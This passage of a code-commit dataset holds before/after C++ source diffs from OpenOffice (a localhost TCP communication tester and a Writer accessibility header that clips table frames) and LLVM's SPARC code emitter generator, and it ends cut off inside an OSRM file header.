Execute();\n}\n\n#define SWITCH( pManager, ManagerClass )                    \\\n{                                                           \\\n    if ( pManager )                                         \\\n    {                                                       \\\n        pManager->StopCommunication();                      \\\n        new DelayedDeleter( 1000, pManager );               \\\n        pTB->SetItemState( pTB->GetCurItemId(), STATE_NOCHECK );    \\\n        pManager = NULL;                                    \\\n    }                                                       \\\n    else                                                    \\\n    {                                                       \\\n        pManager = new ManagerClass;                        \\\n        pManager->SetConnectionOpenedHdl( LINK( this, CommunicationTester, ConnectionOpened ) );\\\n        pManager->SetConnectionClosedHdl( LINK( this, CommunicationTester, ConnectionClosed ) );\\\n        pManager->SetDataReceivedHdl( LINK( this, CommunicationTester, DataReceived ) );\\\n        pTB->SetItemState( pTB->GetCurItemId(), STATE_CHECK );  \\\n    }                                                       \\\n}\n\n\nIMPL_LINK( CommunicationTester, TBClick, ToolBox*, pTB )\n{\n    switch ( pTB->GetCurItemId() )\n    {\n        case SERVER_TCP:\n            {\n                SWITCH( pServerTcp, CommunicationManagerServerViaSocket( TCP_PORT, (USHORT) 32000 ) );\n                if ( pServerTcp )\n                    pServerTcp->StartCommunication();   \/\/ Am Port horchen\n            }\n            break;\n        case CLIENT_TCP:\n            {\n                SWITCH( pClientTcp, CommunicationManagerClientViaSocket( \"localhost\", TCP_PORT ) );\n                if ( pClientTcp )\n                    pClientTcp->StartCommunication();   \/\/ Eine Verbindung aufbauen\n            }\n            break;\n        case BCST_BROOKER:\n            {\n                if ( pBCSTBrooker )\n                {\n                    delete pBCSTBrooker;\n                    pBCSTBrooker = NULL;\n                }\n                else\n                {\n                    pBCSTBrooker = new InformationBrooker();\n                }\n            }\n            break;\n        case BCST_LISTEN:\n            {\n                if ( pBCSTListen )\n                {\n                    delete pBCSTListen;\n                    pBCSTListen = NULL;\n                }\n                else\n                {\n                    pBCSTListen = new InformationBroadcaster();\n                }\n            }\n        case BCST_SEND:\n            {\n                if ( pBCSTSend )\n                {\n                    pBCSTSend->Broadcast( BCST_CAT_PL2X,      \"Message: BCST_CAT_PL2X\" );\n                    pBCSTSend->Broadcast( BCST_CAT_MINORCOPY, \"Message: BCST_CAT_MINORCOPY\" );\n                    pBCSTSend->Broadcast( BCST_CAT_DELIVER,   \"Message: BCST_CAT_DELIVER\" );\n                    pBCSTSend->Broadcast( BCST_CAT_ALL,       \"Message: BCST_CAT_ALL\" );\n                }\n                else\n                {\n                    pBCSTSend = new InformationBroadcaster();\n                }\n            }\n            break;\n    }\n    return 0;\n}\n\nIMPL_LINK( CommunicationTester, ConnectionOpened, CommunicationLink*, pCL )\n{\n    SvStream *pData = pCL->GetBestCommunicationStream();\n    while ( pData->Tell() < 70 ) *pData << 123;\n\n    pCL->TransferDataStream( pData );\n    return 0;\n}\n\nIMPL_LINK( CommunicationTester, ConnectionClosed, CommunicationLink*, pCL )\n{\n    return 0;\n}\n\nIMPL_LINK( CommunicationTester, DataReceived, CommunicationLink*, pCL )\n{\n    \/\/ Find Manager\n    CommunicationManager* pManager;\n    if ( pClientTcp && pClientTcp->IsLinkValid( pCL ) )\n    {\n        pManager = pClientTcp;\n    }\n    if ( pServerTcp && pServerTcp->IsLinkValid( pCL ) )\n    {\n        DBG_ASSERT( !pManager, \"CommunicationLink bei mehreren Managern eingetragen\");\n        pManager = pServerTcp;\n    }\n    DBG_ASSERT( pCL->GetCommunicationManager() == pManager, \"Manager des Link != Manager bei dem der Link Valid ist\");\n\n    \/\/ Send Data Back (Echo)\n    new PacketSender( 1000, pCL->GetServiceData(), pCL );\n\n    return 0;\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n *  $RCSfile: accfrmobj.hxx,v $\n *\n *  $Revision: 1.7 $\n *\n *  last change: $Author: mib $ $Date: 2002-08-07 12:41:28 $\n *\n *  The Contents of this file are made available subject to the terms of\n *  either of the following licenses\n *\n *         - GNU Lesser General Public License Version 2.1\n *         - Sun Industry Standards Source License Version 1.1\n *\n *  Sun Microsystems Inc., October, 2000\n *\n *  GNU Lesser General Public License Version 2.1\n *  =============================================\n *  Copyright 2000 by Sun Microsystems, Inc.\n *  901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *  This library is free software; you can redistribute it and\/or\n *  modify it under the terms of the GNU Lesser General Public\n *  License version 2.1, as published by the Free Software Foundation.\n *\n *  This library is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *  Lesser General Public License for more details.\n *\n *  You should have received a copy of the GNU Lesser General Public\n *  License along with this library; if not, write to the Free Software\n *  Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *  MA  02111-1307  USA\n *\n *\n *  Sun Industry Standards Source License Version 1.1\n *  =================================================\n *  The contents of this file are subject to the Sun Industry Standards\n *  Source License Version 1.1 (the \"License\"); You may not use this file\n *  except in compliance with the License. You may obtain a copy of the\n *  License at http:\/\/www.openoffice.org\/license.html.\n *\n *  Software provided under this License is provided on an \"AS IS\" basis,\n *  WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n *  WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n *  MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n *  See the License for the specific provisions governing your rights and\n *  obligations concerning the Software.\n *\n *  The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n *  Copyright: 2000 by Sun Microsystems, Inc.\n *\n *  All Rights Reserved.\n *\n *  Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n#ifndef _ACCFRMOBJ_HXX\n#define _ACCFRMOBJ_HXX\n\n#ifndef _FLYFRM_HXX\n#include <flyfrm.hxx>\n#endif\n#ifndef _CELLFRM_HXX\n#include <cellfrm.hxx>\n#endif\n#ifndef _PAGEFRM_HXX\n#include <pagefrm.hxx>\n#endif\n#ifndef _DFLYOBJ_HXX\n#include <dflyobj.hxx>\n#endif\n#ifndef _SWTABLE_HXX\n#include <swtable.hxx>\n#endif\n\nclass SwFrmOrObj\n{\n    const SdrObject *pObj;\n    const SwFrm *pFrm;\n\n    inline void Init( const SdrObject *pO );\n    inline void Init( const SwFrm *pF );\n\npublic:\n\n    inline SwFrmOrObj();\n    inline SwFrmOrObj( const SdrObject *pO );\n    inline SwFrmOrObj( const SwFrm *pF );\n    inline SwFrmOrObj( const SwFrm *pF, const SdrObject *pO );\n    inline SwFrmOrObj( const SwFrmOrObj& r );\n\n    inline SwFrmOrObj& operator=( const SwFrmOrObj& r );\n    inline SwFrmOrObj& operator=( const SdrObject *pO );\n    inline SwFrmOrObj& operator=( const SwFrm *pF );\n\n    inline sal_Bool operator==( const SwFrmOrObj& r ) const;\n    inline sal_Bool operator==( const SdrObject *pO ) const;\n    inline sal_Bool operator==( const SwFrm *pF ) const;\n\n    inline sal_Bool IsValid() const;\n\n    inline const SdrObject *GetSdrObject() const;\n    inline const SwFrm *GetSwFrm() const;\n\n    inline sal_Bool IsAccessible( sal_Bool bPagePreview ) const;\n    sal_Bool IsBoundAsChar() const;\n    inline sal_Bool IsVisibleChildrenOnly() const;\n    inline SwRect GetBox() const;\n    inline SwRect GetBounds() const;\n};\n\ninline void SwFrmOrObj::Init( const SdrObject *pO )\n{\n    pObj = pO;\n    pFrm = pObj && pObj->IsWriterFlyFrame()\n                ? static_cast < const SwVirtFlyDrawObj * >( pObj )->GetFlyFrm()\n                : 0;\n}\n\ninline void SwFrmOrObj::Init( const SwFrm *pF )\n{\n    pFrm = pF;\n    pObj = pFrm && pFrm->IsFlyFrm()\n                ? static_cast < const SwFlyFrm * >( pFrm )->GetVirtDrawObj()\n                : 0;\n}\n\ninline SwFrmOrObj::SwFrmOrObj() :\n    pObj( 0 ), pFrm( 0 )\n{}\n\ninline SwFrmOrObj::SwFrmOrObj( const SdrObject *pO )\n{\n    Init( pO );\n}\n\ninline SwFrmOrObj::SwFrmOrObj( const SwFrm *pF )\n{\n    Init( pF );\n}\n\ninline SwFrmOrObj::SwFrmOrObj( const SwFrm *pF, const SdrObject *pO )\n{\n    if( pF )\n        Init( pF );\n    else\n        Init( pO );\n    ASSERT( (!pF || pF == pFrm) && (!pO || pO == pObj),\n            \"invalid frame\/object combination\" );\n\n}\n\ninline SwFrmOrObj::SwFrmOrObj( const SwFrmOrObj& r ) :\n    pObj( r.pObj ), pFrm( r.pFrm )\n{}\n\ninline SwFrmOrObj& SwFrmOrObj::operator=( const SwFrmOrObj& r )\n{\n    pObj = r.pObj;\n    pFrm = r.pFrm;\n    return *this;\n}\n\ninline SwFrmOrObj& SwFrmOrObj::operator=( const SdrObject *pO )\n{\n    Init( pO );\n    return *this;\n}\n\ninline SwFrmOrObj& SwFrmOrObj::operator=( const SwFrm *pF )\n{\n    Init( pF );\n    return *this;\n}\n\ninline sal_Bool SwFrmOrObj::operator==( const SwFrmOrObj& r ) const\n{\n    return pObj == r.pObj && pFrm == r.pFrm;\n}\n\ninline sal_Bool SwFrmOrObj::operator==( const SdrObject *pO ) const\n{\n    return pObj == pO;\n}\n\ninline sal_Bool SwFrmOrObj::operator==( const SwFrm *pF ) const\n{\n    return pFrm == pF;\n}\n\ninline sal_Bool SwFrmOrObj::IsValid() const\n{\n    return pObj != 0 || pFrm != 0;\n}\n\ninline const SdrObject *SwFrmOrObj::GetSdrObject() const\n{\n    return pObj;\n}\n\ninline const SwFrm *SwFrmOrObj::GetSwFrm() const\n{\n    return pFrm;\n}\n\ninline sal_Bool SwFrmOrObj::IsAccessible( sal_Bool bPagePreview ) const\n{\n    return ( pFrm && pFrm->IsAccessibleFrm() &&\n             ( !pFrm->IsCellFrm() ||\n              static_cast<const SwCellFrm *>( pFrm )->GetTabBox()\n                                                     ->GetSttNd() != 0 ) &&\n             ( bPagePreview || !pFrm->IsPageFrm() ) ) ||\n           pObj;\n}\n\n\ninline sal_Bool SwFrmOrObj::IsVisibleChildrenOnly() const\n{\n    return !pFrm ||\n           !( pFrm->IsTabFrm() || pFrm->IsInTab() ||\n             (IsBoundAsChar() &&\n              static_cast< const SwFlyFrm *>(pFrm)->GetAnchor()->IsInTab()) );\n}\n\ninline SwRect SwFrmOrObj::GetBox() const\n{\n    if( pFrm )\n    {\n        if( pFrm->IsPageFrm() &&\n            static_cast< const SwPageFrm * >( pFrm )->IsEmptyPage() )\n        {\n            SwRect aBox( pFrm->Frm().Left(), pFrm->Frm().Top()-1, 1, 1 );\n            return aBox;\n        }\n        else\n            return pFrm->Frm();\n    }\n    else if( pObj )\n        return SwRect( pObj->GetBoundRect() );\n    else\n        return SwRect();\n\n}\n\ninline SwRect SwFrmOrObj::GetBounds() const\n{\n    if( pFrm )\n    {\n        if( pFrm->IsPageFrm() &&\n            static_cast< const SwPageFrm * >( pFrm )->IsEmptyPage() )\n        {\n            SwRect aBox( pFrm->Frm().Left(), pFrm->Frm().Top()-1, 0, 0 );\n            return aBox;\n        }\n        else\n            return pFrm->PaintArea();\n    }\n    else if( pObj )\n        return SwRect( pObj->GetBoundRect() );\n}\n\n\n#endif\n<commit_msg>INTEGRATION: CWS sw008 (1.7.120); FILE MERGED 2003\/03\/12 17:19:43 dvo 1.7.120.1: #108069# 'cut' tab frames so they are always contained within their parents<commit_after>\/*************************************************************************\n *\n *  $RCSfile: accfrmobj.hxx,v $\n *\n *  $Revision: 1.8 $\n *\n *  last change: $Author: vg $ $Date: 2003-04-01 15:28:33 $\n *\n *  The Contents of this file are made available subject to the terms of\n *  either of the following licenses\n *\n *         - GNU Lesser General Public License Version 2.1\n *         - Sun Industry Standards Source License Version 1.1\n *\n *  Sun Microsystems Inc., October, 2000\n *\n *  GNU Lesser General Public License Version 2.1\n *  =============================================\n *  Copyright 2000 by Sun Microsystems, Inc.\n *  901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *  This library is free software; you can redistribute it and\/or\n *  modify it under the terms of the GNU Lesser General Public\n *  License version 2.1, as published by the Free Software Foundation.\n *\n *  This library is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *  Lesser General Public License for more details.\n *\n *  You should have received a copy of the GNU Lesser General Public\n *  License along with this library; if not, write to the Free Software\n *  Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *  MA  02111-1307  USA\n *\n *\n *  Sun Industry Standards Source License Version 1.1\n *  =================================================\n *  The contents of this file are subject to the Sun Industry Standards\n *  Source License Version 1.1 (the \"License\"); You may not use this file\n *  except in compliance with the License. You may obtain a copy of the\n *  License at http:\/\/www.openoffice.org\/license.html.\n *\n *  Software provided under this License is provided on an \"AS IS\" basis,\n *  WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n *  WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n *  MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n *  See the License for the specific provisions governing your rights and\n *  obligations concerning the Software.\n *\n *  The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n *  Copyright: 2000 by Sun Microsystems, Inc.\n *\n *  All Rights Reserved.\n *\n *  Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n#ifndef _ACCFRMOBJ_HXX\n#define _ACCFRMOBJ_HXX\n\n#ifndef _FLYFRM_HXX\n#include <flyfrm.hxx>\n#endif\n#ifndef _CELLFRM_HXX\n#include <cellfrm.hxx>\n#endif\n#ifndef _PAGEFRM_HXX\n#include <pagefrm.hxx>\n#endif\n#ifndef _DFLYOBJ_HXX\n#include <dflyobj.hxx>\n#endif\n#ifndef _SWTABLE_HXX\n#include <swtable.hxx>\n#endif\n\nclass SwFrmOrObj\n{\n    const SdrObject *pObj;\n    const SwFrm *pFrm;\n\n    inline void Init( const SdrObject *pO );\n    inline void Init( const SwFrm *pF );\n\npublic:\n\n    inline SwFrmOrObj();\n    inline SwFrmOrObj( const SdrObject *pO );\n    inline SwFrmOrObj( const SwFrm *pF );\n    inline SwFrmOrObj( const SwFrm *pF, const SdrObject *pO );\n    inline SwFrmOrObj( const SwFrmOrObj& r );\n\n    inline SwFrmOrObj& operator=( const SwFrmOrObj& r );\n    inline SwFrmOrObj& operator=( const SdrObject *pO );\n    inline SwFrmOrObj& operator=( const SwFrm *pF );\n\n    inline sal_Bool operator==( const SwFrmOrObj& r ) const;\n    inline sal_Bool operator==( const SdrObject *pO ) const;\n    inline sal_Bool operator==( const SwFrm *pF ) const;\n\n    inline sal_Bool IsValid() const;\n\n    inline const SdrObject *GetSdrObject() const;\n    inline const SwFrm *GetSwFrm() const;\n\n    inline sal_Bool IsAccessible( sal_Bool bPagePreview ) const;\n    sal_Bool IsBoundAsChar() const;\n    inline sal_Bool IsVisibleChildrenOnly() const;\n    inline SwRect GetBox() const;\n    inline SwRect GetBounds() const;\n};\n\ninline void SwFrmOrObj::Init( const SdrObject *pO )\n{\n    pObj = pO;\n    pFrm = pObj && pObj->IsWriterFlyFrame()\n                ? static_cast < const SwVirtFlyDrawObj * >( pObj )->GetFlyFrm()\n                : 0;\n}\n\ninline void SwFrmOrObj::Init( const SwFrm *pF )\n{\n    pFrm = pF;\n    pObj = pFrm && pFrm->IsFlyFrm()\n                ? static_cast < const SwFlyFrm * >( pFrm )->GetVirtDrawObj()\n                : 0;\n}\n\ninline SwFrmOrObj::SwFrmOrObj() :\n    pObj( 0 ), pFrm( 0 )\n{}\n\ninline SwFrmOrObj::SwFrmOrObj( const SdrObject *pO )\n{\n    Init( pO );\n}\n\ninline SwFrmOrObj::SwFrmOrObj( const SwFrm *pF )\n{\n    Init( pF );\n}\n\ninline SwFrmOrObj::SwFrmOrObj( const SwFrm *pF, const SdrObject *pO )\n{\n    if( pF )\n        Init( pF );\n    else\n        Init( pO );\n    ASSERT( (!pF || pF == pFrm) && (!pO || pO == pObj),\n            \"invalid frame\/object combination\" );\n\n}\n\ninline SwFrmOrObj::SwFrmOrObj( const SwFrmOrObj& r ) :\n    pObj( r.pObj ), pFrm( r.pFrm )\n{}\n\ninline SwFrmOrObj& SwFrmOrObj::operator=( const SwFrmOrObj& r )\n{\n    pObj = r.pObj;\n    pFrm = r.pFrm;\n    return *this;\n}\n\ninline SwFrmOrObj& SwFrmOrObj::operator=( const SdrObject *pO )\n{\n    Init( pO );\n    return *this;\n}\n\ninline SwFrmOrObj& SwFrmOrObj::operator=( const SwFrm *pF )\n{\n    Init( pF );\n    return *this;\n}\n\ninline sal_Bool SwFrmOrObj::operator==( const SwFrmOrObj& r ) const\n{\n    return pObj == r.pObj && pFrm == r.pFrm;\n}\n\ninline sal_Bool SwFrmOrObj::operator==( const SdrObject *pO ) const\n{\n    return pObj == pO;\n}\n\ninline sal_Bool SwFrmOrObj::operator==( const SwFrm *pF ) const\n{\n    return pFrm == pF;\n}\n\ninline sal_Bool SwFrmOrObj::IsValid() const\n{\n    return pObj != 0 || pFrm != 0;\n}\n\ninline const SdrObject *SwFrmOrObj::GetSdrObject() const\n{\n    return pObj;\n}\n\ninline const SwFrm *SwFrmOrObj::GetSwFrm() const\n{\n    return pFrm;\n}\n\ninline sal_Bool SwFrmOrObj::IsAccessible( sal_Bool bPagePreview ) const\n{\n    return ( pFrm && pFrm->IsAccessibleFrm() &&\n             ( !pFrm->IsCellFrm() ||\n              static_cast<const SwCellFrm *>( pFrm )->GetTabBox()\n                                                     ->GetSttNd() != 0 ) &&\n             ( bPagePreview || !pFrm->IsPageFrm() ) ) ||\n           pObj;\n}\n\n\ninline sal_Bool SwFrmOrObj::IsVisibleChildrenOnly() const\n{\n    return !pFrm ||\n           !( pFrm->IsTabFrm() || pFrm->IsInTab() ||\n             (IsBoundAsChar() &&\n              static_cast< const SwFlyFrm *>(pFrm)->GetAnchor()->IsInTab()) );\n}\n\ninline SwRect SwFrmOrObj::GetBox() const\n{\n    if( pFrm )\n    {\n        if( pFrm->IsPageFrm() &&\n            static_cast< const SwPageFrm * >( pFrm )->IsEmptyPage() )\n        {\n            SwRect aBox( pFrm->Frm().Left(), pFrm->Frm().Top()-1, 1, 1 );\n            return aBox;\n        }\n        else if ( pFrm->IsTabFrm() )\n        {\n            SwRect aBox( pFrm->Frm() );\n            aBox.Intersection( pFrm->GetUpper()->Frm() );\n            return aBox;\n        }\n        else\n            return pFrm->Frm();\n    }\n    else if( pObj )\n        return SwRect( pObj->GetBoundRect() );\n    else\n        return SwRect();\n\n}\n\ninline SwRect SwFrmOrObj::GetBounds() const\n{\n    if( pFrm )\n    {\n        if( pFrm->IsPageFrm() &&\n            static_cast< const SwPageFrm * >( pFrm )->IsEmptyPage() )\n        {\n            SwRect aBox( pFrm->Frm().Left(), pFrm->Frm().Top()-1, 0, 0 );\n            return aBox;\n        }\n        else\n            return pFrm->PaintArea();\n    }\n    else if( pObj )\n        return SwRect( pObj->GetBoundRect() );\n}\n\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>WaE: maybe-uninitialized<commit_after><|endoftext|>"}
{"text":"<commit_before>#include \"Record.h\"\n#include \"CodeEmitterGen.h\"\n#include <ostream>\n\nvoid CodeEmitterGen::createEmitter(std::ostream &o) {\n  std::vector<Record*> Insts;\n\n  const std::map<std::string, Record*> &Defs = Records.getDefs();\n  Record *Inst = Records.getClass(\"Instruction\");\n  assert(Inst && \"Couldn't find Instruction class!\");\n\n  for (std::map<std::string, Record*>::const_iterator I = Defs.begin(),\n\t E = Defs.end(); I != E; ++I)\n    if (I->second->isSubClassOf(Inst))\n      Insts.push_back(I->second);\n\n  std::string Namespace = \"V9::\";\n  std::string ClassName = \"SparcV9CodeEmitter::\";\n\n  \/\/const std::string &Namespace = Inst->getValue(\"Namespace\")->getName();\n  o << \"unsigned \" << ClassName\n    << \"getBinaryCodeForInstr(MachineInstr &MI) {\\n\"\n    << \"  unsigned Value = 0;\\n\"\n    << \"  std::cerr << MI;\\n\"\n    << \"  switch (MI.getOpcode()) {\\n\";\n  for (std::vector<Record*>::iterator I = Insts.begin(), E = Insts.end();\n       I != E; ++I)\n  {\n    Record *R = *I;\n    o << \"    case \" << Namespace << R->getName() << \": {\\n\"\n      << \"      std::cerr << \\\"Emitting \" << R->getName() << \"\\\\n\\\";\\n\";\n\n    const RecordVal *InstVal = R->getValue(\"Inst\");\n    Init *InitVal = InstVal->getValue();\n\n    assert(dynamic_cast<BitsInit*>(InitVal) &&\n           \"Can only handle undefined bits<> types!\");\n    BitsInit *BI = (BitsInit*)InitVal;\n\n    unsigned Value = 0;\n    const std::vector<RecordVal> &Vals = R->getValues();\n\n    o << \"      \/\/ prefilling: \";\n    \/\/ Start by filling in fixed values...\n    for (unsigned i = 0, e = BI->getNumBits(); i != e; ++i) {\n      if (BitInit *B = dynamic_cast<BitInit*>(BI->getBit(e-i-1))) {\n        Value |= B->getValue() << (e-i-1);\n        o << B->getValue();\n      } else {\n        o << \"0\";\n      }\n    }\n    o << \"\\n\";\n\n    o << \"      \/\/ \" << *InstVal << \"\\n\";\n    o << \"      Value = \" << Value << \"U;\\n\\n\";\n    \n    \/\/ Loop over all of the fields in the instruction adding in any\n    \/\/ contributions to this value (due to bit references).\n    \/\/\n    unsigned op = 0;\n    std::map<const std::string,unsigned> OpOrder;\n    for (unsigned i = 0, e = Vals.size(); i != e; ++i) {\n      if (Vals[i].getName() != \"Inst\" && \n          !Vals[i].getValue()->isComplete() &&\n          Vals[i].getName() != \"annul\" && \n          Vals[i].getName() != \"cc\" &&\n          Vals[i].getName() != \"predict\")\n      {\n        o << \"      \/\/ op\" << op << \": \" << Vals[i].getName() << \"\\n\"\n          << \"      int64_t op\" << op \n          <<\" = getMachineOpValue(MI, MI.getOperand(\"<<op<<\"));\\n\";\n        \/\/<< \"      MachineOperand &op\" << op <<\" = MI.getOperand(\"<<op<<\");\\n\";\n        OpOrder[Vals[i].getName()] = op++;\n      }\n    }\n\n    unsigned Offset = 31;\n    for (int f = Vals.size()-1; f >= 0; --f) {\n      if (Vals[f].getPrefix()) {\n        BitsInit *FieldInitializer = (BitsInit*)Vals[f].getValue();\n\n        \/\/ Scan through the field looking for bit initializers of the current\n        \/\/ variable...\n        for (int i = FieldInitializer->getNumBits()-1; i >= 0; --i) {\n          if (BitInit *BI=dynamic_cast<BitInit*>(FieldInitializer->getBit(i))){\n            --Offset;\n          } else if (UnsetInit *UI = \n                     dynamic_cast<UnsetInit*>(FieldInitializer->getBit(i))) {\n            --Offset;\n          } else if (VarBitInit *VBI =\n                     dynamic_cast<VarBitInit*>(FieldInitializer->getBit(i))) {\n            TypedInit *TI = VBI->getVariable();\n            if (VarInit *VI = dynamic_cast<VarInit*>(TI)) {\n              o << \"      Value |= getValueBit(op\" << OpOrder[VI->getName()]\n                << \", \" << VBI->getBitNum()\n                << \")\" << \" << \" << Offset << \";\\n\";\n              --Offset;\n            } else if (FieldInit *FI = dynamic_cast<FieldInit*>(TI)) {\n              \/\/ FIXME: implement this!\n              o << \"FIELD INIT not implemented yet!\\n\";\n            } else {\n              o << \"Error: UNIMPLEMENTED\\n\";\n            }\n          }\n        } \n      } else {\n        if (Vals[f].getName() == \"annul\" || Vals[f].getName() == \"predict\")\n          --Offset;\n      }\n    }\n\n    o << \"      break;\\n\"\n      << \"    }\\n\";\n  }\n  o << \"  default:\\n\"\n    << \"    std::cerr << \\\"Not supported instr: \\\" << MI << \\\"\\\\n\\\";\\n\"\n    << \"    abort();\\n\"\n    << \"  }\\n\"\n    << \"  return Value;\\n\"\n    << \"}\\n\";\n}\n<commit_msg>* Stop ignoring cc registers, since we actually use them in branches. * Added comment as to why we are still ignoring predict and annul bits.<commit_after>#include \"Record.h\"\n#include \"CodeEmitterGen.h\"\n#include <ostream>\n\nvoid CodeEmitterGen::createEmitter(std::ostream &o) {\n  std::vector<Record*> Insts;\n\n  const std::map<std::string, Record*> &Defs = Records.getDefs();\n  Record *Inst = Records.getClass(\"Instruction\");\n  assert(Inst && \"Couldn't find Instruction class!\");\n\n  for (std::map<std::string, Record*>::const_iterator I = Defs.begin(),\n\t E = Defs.end(); I != E; ++I)\n    if (I->second->isSubClassOf(Inst))\n      Insts.push_back(I->second);\n\n  std::string Namespace = \"V9::\";\n  std::string ClassName = \"SparcV9CodeEmitter::\";\n\n  \/\/const std::string &Namespace = Inst->getValue(\"Namespace\")->getName();\n  o << \"unsigned \" << ClassName\n    << \"getBinaryCodeForInstr(MachineInstr &MI) {\\n\"\n    << \"  unsigned Value = 0;\\n\"\n    << \"  std::cerr << MI;\\n\"\n    << \"  switch (MI.getOpcode()) {\\n\";\n  for (std::vector<Record*>::iterator I = Insts.begin(), E = Insts.end();\n       I != E; ++I)\n  {\n    Record *R = *I;\n    o << \"    case \" << Namespace << R->getName() << \": {\\n\"\n      << \"      std::cerr << \\\"Emitting \" << R->getName() << \"\\\\n\\\";\\n\";\n\n    const RecordVal *InstVal = R->getValue(\"Inst\");\n    Init *InitVal = InstVal->getValue();\n\n    assert(dynamic_cast<BitsInit*>(InitVal) &&\n           \"Can only handle undefined bits<> types!\");\n    BitsInit *BI = (BitsInit*)InitVal;\n\n    unsigned Value = 0;\n    const std::vector<RecordVal> &Vals = R->getValues();\n\n    o << \"      \/\/ prefilling: \";\n    \/\/ Start by filling in fixed values...\n    for (unsigned i = 0, e = BI->getNumBits(); i != e; ++i) {\n      if (BitInit *B = dynamic_cast<BitInit*>(BI->getBit(e-i-1))) {\n        Value |= B->getValue() << (e-i-1);\n        o << B->getValue();\n      } else {\n        o << \"0\";\n      }\n    }\n    o << \"\\n\";\n\n    o << \"      \/\/ \" << *InstVal << \"\\n\";\n    o << \"      Value = \" << Value << \"U;\\n\\n\";\n    \n    \/\/ Loop over all of the fields in the instruction adding in any\n    \/\/ contributions to this value (due to bit references).\n    \/\/\n    unsigned op = 0;\n    std::map<const std::string,unsigned> OpOrder;\n    for (unsigned i = 0, e = Vals.size(); i != e; ++i) {\n      if (Vals[i].getName() != \"Inst\" && \n          !Vals[i].getValue()->isComplete() &&\n          \/* ignore annul and predict bits since no one sets them yet *\/\n          Vals[i].getName() != \"annul\" && \n          Vals[i].getName() != \"predict\")\n      {\n        o << \"      \/\/ op\" << op << \": \" << Vals[i].getName() << \"\\n\"\n          << \"      int64_t op\" << op \n          <<\" = getMachineOpValue(MI, MI.getOperand(\"<<op<<\"));\\n\";\n        \/\/<< \"      MachineOperand &op\" << op <<\" = MI.getOperand(\"<<op<<\");\\n\";\n        OpOrder[Vals[i].getName()] = op++;\n      }\n    }\n\n    unsigned Offset = 31;\n    for (int f = Vals.size()-1; f >= 0; --f) {\n      if (Vals[f].getPrefix()) {\n        BitsInit *FieldInitializer = (BitsInit*)Vals[f].getValue();\n\n        \/\/ Scan through the field looking for bit initializers of the current\n        \/\/ variable...\n        for (int i = FieldInitializer->getNumBits()-1; i >= 0; --i) {\n          if (BitInit *BI=dynamic_cast<BitInit*>(FieldInitializer->getBit(i))){\n            --Offset;\n          } else if (UnsetInit *UI = \n                     dynamic_cast<UnsetInit*>(FieldInitializer->getBit(i))) {\n            --Offset;\n          } else if (VarBitInit *VBI =\n                     dynamic_cast<VarBitInit*>(FieldInitializer->getBit(i))) {\n            TypedInit *TI = VBI->getVariable();\n            if (VarInit *VI = dynamic_cast<VarInit*>(TI)) {\n              o << \"      Value |= getValueBit(op\" << OpOrder[VI->getName()]\n                << \", \" << VBI->getBitNum()\n                << \")\" << \" << \" << Offset << \";\\n\";\n              --Offset;\n            } else if (FieldInit *FI = dynamic_cast<FieldInit*>(TI)) {\n              \/\/ FIXME: implement this!\n              o << \"FIELD INIT not implemented yet!\\n\";\n            } else {\n              o << \"Error: UNIMPLEMENTED\\n\";\n            }\n          }\n        } \n      } else {\n        \/\/ ignore annul and predict bits since no one sets them yet\n        if (Vals[f].getName() == \"annul\" || Vals[f].getName() == \"predict\")\n          --Offset;\n      }\n    }\n\n    o << \"      break;\\n\"\n      << \"    }\\n\";\n  }\n  o << \"  default:\\n\"\n    << \"    std::cerr << \\\"Not supported instr: \\\" << MI << \\\"\\\\n\\\";\\n\"\n    << \"    abort();\\n\"\n    << \"  }\\n\"\n    << \"  return Value;\\n\"\n    << \"}\\n\";\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n    open source routing machine\n    Copyright (C) Dennis Luxen, 2010\n\nThis program is free software; you can redistribute it and\/or modify\nit under the terms of the GNU AFFERO General Public License as published by\nthe Free Software Foundation; either version 3 of the License, or\nany later version.\n\nThis program is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU Affero General Public License\nalong with this program; if not, write to the Free Software\nFoundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\nor see http:\/\/www.gnu.org\/licenses\/agpl.txt.\n *\/\n\n#define VERBOSE(x) x\n#define VERBOSE2(x)\n\n#ifdef NDEBUG\n#undef VERBOSE\n#undef VERBOSE2\n#endif\n\n#include <boost\/foreach.hpp>\n\n#include <fstream>\n#include <istream>\n#include <iostream>\n#include <cstring>\n#include <string>\n#include <vector>\n\n#include \"..\/typedefs.h\"\n#include \"..\/Algorithms\/StronglyConnectedComponents.h\"\n#include \"..\/DataStructures\/BinaryHeap.h\"\n#include \"..\/DataStructures\/DeallocatingVector.h\"\n#include \"..\/DataStructures\/DynamicGraph.h\"\n#include \"..\/DataStructures\/QueryEdge.h\"\n#include \"..\/Util\/BaseConfiguration.h\"\n#include \"..\/Util\/InputFileUtil.h\"\n#include 